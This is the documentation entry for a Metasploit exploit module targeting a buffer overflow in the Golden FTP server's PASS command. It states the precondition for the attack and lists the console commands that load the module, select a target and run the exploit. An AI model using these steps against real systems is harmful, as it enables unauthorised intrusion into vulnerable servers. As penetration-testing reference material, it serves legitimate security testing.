This module exploits a vulnerability in the Golden FTP service, using the PASS command to cause a buffer overflow. Please note that in order trigger the vulnerable code, the victim machine must have the "Show new connections" setting enabled. By default, this option is unchecked.
Windows
To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/windows/ftp/goldenftp_pass_bof
msf exploit(goldenftp_pass_bof) > show targets
...targets...
msf exploit(goldenftp_pass_bof) > set TARGET < target-id >
msf exploit(goldenftp_pass_bof) > show options
...show and set options...
msf exploit(goldenftp_pass_bof) > exploit
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